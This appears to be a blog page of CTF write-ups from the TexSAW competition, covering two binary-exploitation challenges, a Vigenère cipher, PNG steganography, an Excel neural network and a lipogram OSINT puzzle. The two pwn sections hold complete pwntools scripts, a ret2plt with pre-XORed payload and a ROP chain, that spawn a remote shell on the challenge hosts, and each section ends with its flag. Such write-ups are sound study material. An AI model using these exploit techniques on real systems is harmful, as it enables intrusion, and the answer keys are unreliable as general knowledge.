Hello Navi

Tech, Security & Personal Notes

This Pwn challenge is a classic buffer overflow with a twist: the input is obfuscated via a time-based XOR operation before being copied to the stack.

Challenge Description

I think one of the hands of my watch broke. Can you tell me what the time is?

nc chals.texsaw.org 3000

Flag format: texsaw{flag}

Solution

1. Binary Analysis

Using checksec, we identify the binary's protections:

  • Arch: i386-32-little
  • RELRO: Partial RELRO
  • Stack: No canary found
  • NX: NX enabled (cannot execute shellcode on the stack)
  • PIE: PIE disabled (fixed addresses for code/data)

Since PIE is disabled and there is no stack canary, the primary goal is a Return-to-PLT attack to call system("/bin/sh").

2. Identifying Vulnerabilities

Disassembling the binary reveals two critical functions: main and read_user_input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
time_t timer; // [esp+0h] [ebp-10h] BYREF
time_t key; // [esp+4h] [ebp-Ch]
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
// 向下取整
key = 60 * (time(0) / 60);
timer = key;
puts("I think one of my watch hands fell off!");
v3 = ctime(&timer);
printf("Currently the time is: %s", v3);
read_user_input(key);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ssize_t __cdecl read_user_input(int key)
{
_BYTE dest[40]; // [esp+18h] [ebp-40h] BYREF
size_t n; // [esp+40h] [ebp-18h]
void *buf; // [esp+44h] [ebp-14h]
int j; // [esp+48h] [ebp-10h]
signed int i; // [esp+4Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
// heap
buf = malloc(0xA0u);
n = read(0, buf, 0xA0u);
// twist
// 4 bytes at a time
for ( i = 0; i < (int)n; i += 4 )
{
// xor each 4 bytes
for ( j = 0; j <= 3; ++j )
// 这行代码的左边:*((_BYTE *)buf + ...)
// 那个 _BYTE(通常是 unsigned char 的 typedef)明确告诉了 C 编译器只操作这 1 个 byte (8 bits) 的内存空间。
// 当你试图把一个 32-bit 的庞大数据 (0x11223344),通过异或运算 (^=) 强行塞进一个只有 8-bit 容量的单字节内存空间时,C 语言会只保留最底部的 8 bits。
// 也就是说,编译器在底层自动帮你做了一个类似掩码 & 0xFF 的操作。0x11223344 经过单字节截断后,高位的 0x112233 直接被丢弃,只剩下了 0x44。而这个 0x44,恰恰就是 a1 的最低有效字节 (LSB)。
*((_BYTE *)buf + i + j) ^= key >> (8 * j);
// update key
++key;
}
// stack
memcpy(dest, buf, n);
return write(1, dest, 0x28u);
}
  • Key Generation: In main, the program takes the current Unix timestamp and rounds it down to the nearest minute: time_val = (time(0) / 60) * 60. This value is then passed into read_user_input.

  • The XOR Loop: Inside read_user_input, the program reads up to 160 bytes into a heap buffer. It then iterates through the input, XORing every 4-byte chunk with the time_val. Crucially, the time_val increments by 1 after every 4 bytes.

  • Buffer Overflow: After XORing, the program uses memcpy to copy the processed buffer into a local stack buffer (ebp-0x40). Since the stack buffer is only 64 bytes but memcpy copies up to 160 bytes, we have a stack-based buffer overflow.

3. Exploitation Strategy

Step 1: Leaking the Key The program XORs our input and then calls write to send 40 bytes of the stack buffer back to us. To bypass the XOR obfuscation, we first send a string of null bytes (\x00). Because x ^ 0 = x, the server returns the XOR key itself. This allows us to recover the exact time_val used by the server.

Step 2: Crafting the Payload We need to overwrite the return address at ebp + 4. The distance from the buffer start (ebp - 0x40) to the return address is 68 bytes.

Our desired stack layout after memcpy should be: [68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]

Step 3: Pre-XORing Because the program will XOR our input before it hits the stack, we must "pre-XOR" our payload. If the program expects Payload ^ Key = Stack, we must send Payload ^ Key so that when the server XORs it with Key, the result on the stack is our desired Payload.

4. Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

target = remote('chals.texsaw.org', 3000)

# 1. Leak the time-based XOR key
target.recvuntil(b'Currently the time is: ')
target.send(b'\x00' * 100)
output = target.recv(40)
leaked_time_val = u32(output[0:4])

# 2. Re-connect to apply the key (or use it if time hasn't changed)
target.close()
target = remote('chals.texsaw.org', 3000)

# Binary addresses (PIE disabled)
system_plt = 0x080490b0
bin_sh_addr = 0x0804a018

# Function to XOR payload according to binary logic
def xor_payload(data, key_val):
res = bytearray()
for i in range(0, len(data), 4):
chunk = data[i:i+4]
# Calculate the key for this 4-byte chunk
key = p32((key_val + (i // 4)) & 0xFFFFFFFF)
for j in range(len(chunk)):
res.append(chunk[j] ^ key[j])
return bytes(res)

# 3. Build and send the Pre-XORed payload
# 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh"
# 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。
payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr)
target.send(xor_payload(payload, leaked_time_val))

# 4. Get the shell
target.interactive()

Flag

texsaw{7h4nk_u_f0r_y0ur_71m3}

Do you ever wonder what happens to your packages? So does your mail carrier.

nc 143.198.163.4 15858

Flag format: texsaw{example_flag}

Solution

1. Initial Analysis

We start by analyzing the binary's protections:

1
$ checksec chall
  • No Stack Canary: This means we can easily overwrite the return address on the stack.
  • NX Disabled: The stack is executable, but we don't necessarily need shellcode for this exploit.
  • PIE Disabled: Function addresses are static and will not change between runs.

2. Identifying Vulnerabilities

Using objdump and nm, we identify several interesting functions:

  • main: The entry point.
  • deliver: Called by main; uses the unsafe gets() function to read input into a 32-byte buffer.
  • drive: A hidden function that checks an argument and, if correct, calls system("/bin/sh").
  • tool: Contains a useful ROP gadget: pop rdi; ret.

The vulnerable deliver function looks like this:

1
2
3
4
5
6
int deliver() {
char s1[32]; // [rsp+0h] [rbp-20h] BYREF
// ...
gets(s1); // VULNERABILITY: No length check!
// ...
}

Since gets() does not check the input length, we can provide a payload larger than 32 bytes to overwrite the saved instruction pointer on the stack.

3. Exploitation Strategy

The drive() function is our target:

1
2
3
4
5
int __fastcall drive(__int64 a1) {
if (a1 != 0x48435344) // "HCSD"
return puts("Need the secret key to deliver this package.\n");
return system("/bin/sh");
}

To get a shell, we need to call drive(0x48435344). In the x86-64 calling convention, the first argument is passed in the RDI register.

Our ROP Chain Plan:

  1. Overwrite the return address with the address of a pop rdi; ret gadget.
  2. Provide the value 0x48435344 as the next item on the stack (to be popped into RDI).
  3. Include a ret gadget for stack alignment (often necessary for system() calls in 64-bit glibc).
  4. Finally, call the drive function.

4. Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.binary = binary = ELF('./chall')

# Found addresses
pop_rdi_ret = 0x4011be
ret_gadget = 0x4011bf
drive_addr = 0x401211
secret_arg = 0x48435344

# Padding: 32 bytes (buffer) + 8 bytes (saved RBP) = 40 bytes
payload = b"A" * 40
payload += p64(ret_gadget) # Stack alignment
payload += p64(pop_rdi_ret) # Gadget to set RDI
payload += p64(secret_arg) # The argument "HCSD"
payload += p64(drive_addr) # Call drive()

# Connect and exploit
p = remote('143.198.163.4', 15858)
p.recvuntil(b"2 Canary Court\n\n")
p.sendline(payload)
p.interactive()

Flag

texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}

There's a spy amongst us! We found one of their messages, but can't seem to crack it. For some reason, they wrote the message down twice.

The challenge provides two large blocks of ciphertext, both starting with what appears to be an encrypted flag.

Solution

1. Identifying the Cipher

We are given two different ciphertexts that supposedly represent the same message. This immediately suggests a polyalphabetic substitution cipher, most likely Vigenere, where different parts of the key are being applied to the same plaintext.

2. Deducing the Key Prefix

We know that the flags in this CTF follow the format texsaw{...}. By comparing the ciphertext prefixes with the known plaintext texsaw, we can calculate the key characters used at the start of each block (\(Key = Ciphertext - Plaintext\)).

Block 1 Prefix (twhsnz):

  • t - t = A (0)
  • w - e = S (18)
  • h - x = K (10)
  • s - s = A (0)
  • n - a = N (13)
  • z - w = D (3)
  • Key Prefix: ASKAND

Block 2 Prefix (brassg):

  • b - t = I (8)
  • r - e = N (13)
  • a - x = D (3)
  • s - s = A (0)
  • s - a = S (18)
  • g - w = K (10)
  • Key Prefix: INDASK

3. Recovering the Full Key

The fragments ASKAND and INDASK strongly suggest a famous quote from the Bible (Matthew 7:7):

"Ask, and it shall be given you; seek, and ye shall find: ask, and..."

By removing spaces and punctuation, we derive the full 41-character repeating key: ASKANDITSHALLBEGIVENYOUSEEKANDYESHALLFIND

4. Decrypting the Message

Using the recovered key, we can decrypt the rest of the message. The first message block uses an offset of 0, while the second block starts at a different position in the key loop.

Decryption reveals a message from a spy:

"they know im here, and its only a matter of time before they find out who i am. tell the general what the flag is as soon as possible..."

The signature at the bottom, - john cairncross, refers to the real-life British intelligence officer who was a double agent for the Soviet Union during World War II.

5. Extracting the Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def vigenere_decrypt(ct, key, offset=0):
res = ""
k_idx = offset
key = key.lower()
for char in ct:
if "a" <= char <= "z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("a") - shift) % 26 + ord("a"))
k_idx += 1
elif "A" <= char <= "Z":
shift = ord(key[k_idx % len(key)]) - ord("a")
res += chr((ord(char) - ord("A") - shift) % 26 + ord("A"))
k_idx += 1
else:
res += char
# k_idx is NOT incremented for non-alpha
return res


key = "askanditshallbegivenyouseekandyeshallfind"

ct1 = "twhsnz{tngqmqdhqqygxrloyehuvxtwwvxklkiiudpxqcvqhbmkepledu}"
ct2 = "brassg{lhrrfxzgxvrpzmierkrkdbkdyeibpredxbrflvvvotgvfisacb}"

# just loop and try offset
print("CT1:", vigenere_decrypt(ct1, key, 0))

print("CT2:", vigenere_decrypt(ct2, key, 38))

msg1 = """zpzc xlcq aq lorr, dlh aas zyqg n paldee rn mate mpgsxm olrw tcfh set jkm m st.
tpwq buh gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty whw qeahztd ieqzsi zpzc sgbx gyx ghruc me oiotso!
vi adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbfalsoa wwfgyrzh bx sqyrvevn.
eeoo shuc cgb'rp ytb srldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lru krohol psacs tu anmi cbs quf.
- nsrn pdgvfjrzdx
"""

print("\nMessage 1:")
print(vigenere_decrypt(msg1, key, 15))

Flag

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxysvdettsxpatcq}

I can't find my original house key anywhere! Can you help me find it? Here's a picture of my keys the nanny took before they were lost. It must be hidden somewhere!

Flag format: texsaw{flag_here}

Solution

1. Extracting Hidden Files

Using binwalk, we can identify and extract any embedded files:

1
❯ binwalk -e Temoc_keyring.png

After extraction, we have two similar images:

  1. Temoc_keyring(orig).png
  2. where_are_my_keys.png

Checking them with pngcheck confirms they are both valid, but their file sizes and compression ratios differ.

2. Pixel Comparison

At first glance, the two images appear identical. However, the difference in file size suggests that data might be hidden in the pixel values themselves. We can use a Python script with the Pillow library to compare them:

1
2
3
4
5
6
7
8
9
10
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

width, _ = img1.size

# Check the first row for differences
diff_indices = [x for x in range(width) if img1.getpixel((x, 0)) != img2.getpixel((x, 0))]
print(f"Differences found at X coordinates: {diff_indices}")

Running this reveals exactly 131 differing pixels, all located within the very first row (y = 0).

4. Decoding the Steganography

The pattern of differing pixels suggests a binary encoding. We can treat each pixel in the first row as a bit:

  • Bit 1: If the pixels at (x, 0) are different.
  • Bit 0: If the pixels at (x, 0) are identical.

We then group these bits into 8-bit bytes and convert them to ASCII characters to reveal the flag.

Extraction Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image

img1 = Image.open('Temoc_keyring(orig).png').convert("RGB")
img2 = Image.open('where_are_my_keys.png').convert("RGB")

bits = []
for x in range(img1.size[0]):
if img1.getpixel((x, 0)) != img2.getpixel((x, 0)):
bits.append(1)
else:
bits.append(0)

# Convert bits to bytes and then to ASCII
flag = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
char_code = int("".join(map(str, byte)), 2)
if char_code == 0: break
flag += chr(char_code)

print(f"Flag: {flag}")

Flag

texsaw{you_found_me_at_key}

Find the flag by reverse engineering this neural network. Oh, and its in Excel.

Flag format: texsaw{flag} (e.g., texsaw{orthogonal})

前置知识

本题涉及神经网络逆向工程,且模型实现在 Excel 电子表格中。以下概念有助于理解:

概念 说明
前馈神经网络 输入层→隐藏层→输出层,数据逐层前向传递
ReLU f(x)=max(0,x),负输入→零输出(关键逻辑门控!)
Sigmoid σ(x)=1/(1+e^{-x}),输出映射到 (0,1),>0.5 表示正输入
权重与偏置 网络参数,本例中 W1 是极端稀疏的 +1/-1 矩阵
Excel 逆向 .xlsx 本质是 ZIP,内部 XML 含公式与数据
前向传播公式 ASCII/127 × weight + bias = 0 ⇒ ASCII = round(-bias × 127 / weight)

参考:Excel NN 教程、hxp EXCELlent

Solution

1. Understanding the Success Condition

Examining the spreadsheet, specifically Row 112, we find the conditions for a valid flag: - F > 0.5, L < 0.5, A > 0.5, G < 0.5

Since the output layer uses a Sigmoid activation function: - To get output > 0.5, the input to the sigmoid (z3) must be positive (> 0). - To get output < 0.5, the input to the sigmoid (z3) must be negative (< 0).

Analyzing the final weights (W3) and biases (b3), we find that all weights in W3 are large (300 or -300) and the biases are small (between 0.49 and 0.59). For these specific constraints to be met, the output of Layer 2 (a2) must be an extremely small positive number, very close to zero.

2. Reverse-Engineering Layer 2

Layer 2 uses the ReLU activation function: a2 = ReLU(z2), where z2 = sum(a1 * W2) + b2.

Key observations: - All weights in W2 are negative (e.g., -0.954667). - The bias b2 is a very small positive number (approx. 1/254). - a1 is the output of Layer 1's ReLU, so a1 >= 0.

If any value in a1 is a positive number, its product with the negative weights in W2 will likely make z2 negative, resulting in a2 = 0 (via ReLU). To maintain that tiny positive value for a2, we conclude that all activation values in a1 must be forced to zero.

3. Analyzing Layer 1

To force a1 = 0, we must ensure that z1 = x * W1 + b1 <= 0 for all neurons in the first layer.

Looking closely at the biases (b1), they appear to be "random" decimals: - h1[0] = -0.795276 - h1[3] = -0.90551 - h1[12] = -0.968504 - h1[23] = 0.91339

If we multiply these values by 127 (the maximum standard ASCII value), they resolve into integers. This reveals that W1 and b1 are essentially implementing boundary checks for each character of the input string.

Converting these non-zero biases back to ASCII: - -0.795276 * 127 \(\approx\) -101 \(\rightarrow\) e - -0.90551 * 127 \(\approx\) -115 \(\rightarrow\) s - -0.968504 * 127 \(\approx\) -123 \(\rightarrow\) { - 0.91339 * 127 \(\approx\) 116 \(\rightarrow\) t

4. Reconstructing the Flag

Extracting all valid b1 values and converting them yields a multiset of 22 characters: t, e, x, s, a, w, {, }, s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u

We know the flag format is texsaw{flag}. Removing the wrapper characters (t, e, x, s, a, w, {, }), we are left with: s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u

Rearranging these characters (Leetspeak for "neural reverse") gives us the inner flag content.

Flag

texsaw{n3ur4l_r3v3rs3}

This chall's got a bit of history to it.

First, crack this initial cryptogram. Now, apply OSINT tools to find who authors that original script.

Flag format: txsaw{first_last} (e.g., txsaw{john_scalzi})

Solution

1. Cryptanalysis: Substitution Cipher

The challenge begins with a large block of ciphertext:

1
Azza wfahv ztu. N rnvy, bndfah na zbfaztv vztak, n vztak ndfa uz n dcnqza zw n uzlvfa, icfuv nmztu...

Using frequency analysis or an automated tool like quipqiup, we can determine that this is a simple substitution cipher. The decoded plaintext is:

Noon rings out. A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin, flits about. Augustus, who has had a bad night, sits up blinking and purblind. Oh what was that word (is his thought) that ran through my brain all night, that idiotic word that, hard as I'd try to pun it down, was always just an inch or two out of my grasp...

2. OSINT: Identifying the Source

The title of the challenge, "Idiosyncratic French", and the nature of the decoded text provide vital clues.

Searching for the decoded string—specifically unique phrases like "A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin"—reveals that this is an excerpt from the novel "A Void".

3. The "Idiosyncrasy": Lipograms

What makes this text "idiosyncratic"? "A Void" is the English translation of the French novel "La Disparition". The defining characteristic (idiosyncrasy) of both the original and the translation is that they are lipograms: they are written entirely without the letter "e".

4. Finding the Author

The author of the original French novel, La Disparition, is the famous French writer Georges Perec.

Flag

txsaw{georges_perec}